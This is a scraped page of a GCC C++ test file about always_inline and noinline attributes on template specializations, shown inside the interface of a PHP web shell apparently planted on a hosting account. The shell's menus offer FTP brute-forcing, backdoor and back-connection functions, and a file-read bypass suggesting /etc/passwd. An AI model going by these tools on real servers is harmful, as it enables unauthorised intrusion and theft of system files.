Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/ext/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     attr-noinline.C (3.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Bug c++/83871 - wrong code due to attributes on distinct template
// specializations
// Test to verify that an explicit template specifialization does not
// "inherit" attributes always_inline or noinline from a primary template
// declared with either.  The test disables optimization to verify that
// always_inline forces inlining.
// { dg-do compile }
// { dg-options "-O0 -Wall -fdump-tree-optimized" }

enum Special { };

template <class T>
inline void __attribute__ ((always_inline))
falways_inline_none ()
{
  // Primary template should always be inlined, even without optimization.
  asm ("");   // induce a no-op "side-effect"
}

template <>
inline void
falways_inline_none<Special>()
{
  // The specialization should not be inlined without optimization, even
  // though it's declared inline.
  asm ("");
}

// Verify that a call to the primary is inlined but one to
// the explicit specialization is not.

void test_elim_primary_1 (void)
{
  // Should be inlined.
  falways_inline_none<void>();
// { dg-final { scan-tree-dump-not "falways_inline_none<void> *\\(\\)" "optimized" } }
}

void test_keep_special_1 (void)
{
  // Should not be inlined.
  falways_inline_none<Special>();
// { dg-final { scan-tree-dump-times "falways_inline_none<Special> *\\(\\);" 1 "optimized" } }
}


template <class T>
inline void __attribute__ ((always_inline))
falways_inline_noinline ()
{
  asm ("");   // induce a no-op "side-effect"
}

template <>
void __attribute__ ((noinline))
falways_inline_noinline<Special>() { asm (""); }

// Verify that a call to the primary is inlined but one to
// the explicit specialization is not.

void test_elim_primary_2 (void)
{
  falways_inline_noinline<void>();
// { dg-final { scan-tree-dump-not "falways_inline_noinline<void> *\\(\\)" "optimized" } }
}

void test_keep_special_2 (void)
{
  falways_inline_noinline<Special>();
// { dg-final { scan-tree-dump-times "falways_inline_noinline<Special> *\\(\\);" 1 "optimized" } }
}


template <class T>
inline void
fnone_always_inline ()
{
  asm ("");   // induce a no-op "side-effect"
}

template <>
inline void __attribute__ ((always_inline))
fnone_always_inline<Special>() { asm (""); }

// Verify that a call to the primary is not inlined but one to
// the explicit specialization is.

void test_keep_primary_3 (void)
{
  fnone_always_inline<void>();
// { dg-final { scan-tree-dump-times "fnone_always_inline<void> *\\(\\);" 1 "optimized" } }
}

void test_elim_special_3 (void)
{
  fnone_always_inline<Special>();
// { dg-final { scan-tree-dump-not "fnone_always_inline<Special> *\\(\\);" "optimized" } }
}


template <class T>
void __attribute__ ((noinline))
fnoinline_always_inline ()
{
  asm ("");   // induce a no-op "side-effect"
}

template <>
inline void __attribute__ ((always_inline))
fnoinline_always_inline<Special>()    // { dg-bogus "follows declaration" }
{
  asm ("");
}

// Verify that a call to the primary is not inlined but one to
// the explicit specialization is.

void test_keep_primary_4 (void)
{
  fnoinline_always_inline<void>();
// { dg-final { scan-tree-dump-times "fnoinline_always_inline<void> *\\(\\);" 1 "optimized" } }
}

void test_elim_special_4 (void)
{
  fnoinline_always_inline<Special>();
// { dg-final { scan-tree-dump-not "fnoinline_always_inline<Special> *\\(\\);" "optimized" } }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--